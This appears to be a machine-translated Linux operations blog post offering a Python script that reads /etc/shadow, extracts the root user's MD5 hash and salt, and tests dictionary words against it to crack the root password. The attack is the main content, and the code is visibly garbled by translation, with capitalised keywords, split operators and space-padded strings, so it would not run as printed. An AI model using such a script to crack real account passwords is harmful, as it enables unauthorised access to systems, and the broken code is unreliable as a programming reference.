Dictionary method brute force hack linux user password

Linux series of many operating systems are using MD5 encryption user password, encryption process is one-way, so to crack can only use brute force crack method.

Below to share a program to crack the root user password.

The program iterates through each password in the dictionary file, matches the password in the/etc/shadow, and returns success if the same.

#!/usr/bin/env python

Import Crypt

Import Sys

Import re

DIC = [

' Cookies ',

' Test ',

' Fuckyou '

]

Passwordfile = '/etc/shadow '

Def getrootpass ():

f = open (Passwordfile, ' R ')

For line in F.readlines ():

If ' root: ' in line:

Rootpass = Line.split (":") [1]

If Rootpass is None:

Print "Cannot find root user"

Sys.exit (1)

Return Rootpass

Def getsalt ():

Rootpass = Getrootpass ()

If Rootpass:

Salt = Re.match ("(\$1\$.*\$)", Rootpass)

If salt! = None:

Salt = salt.groups (1) [0]

return salt

def crack ():

For passwd in DIC:

Testpass = Crypt.crypt (passwd, str (GetSalt ()))

if Testpass = = Getrootpass ():

print "Crack root password successful!\n root password is: \n%s"% passwd

Sys.exit (0)

Print "Could not crack root password"

Crack ()

This article from "Linux operation and Maintenance" blog, declined reprint!

Dictionary method brute force hack linux user password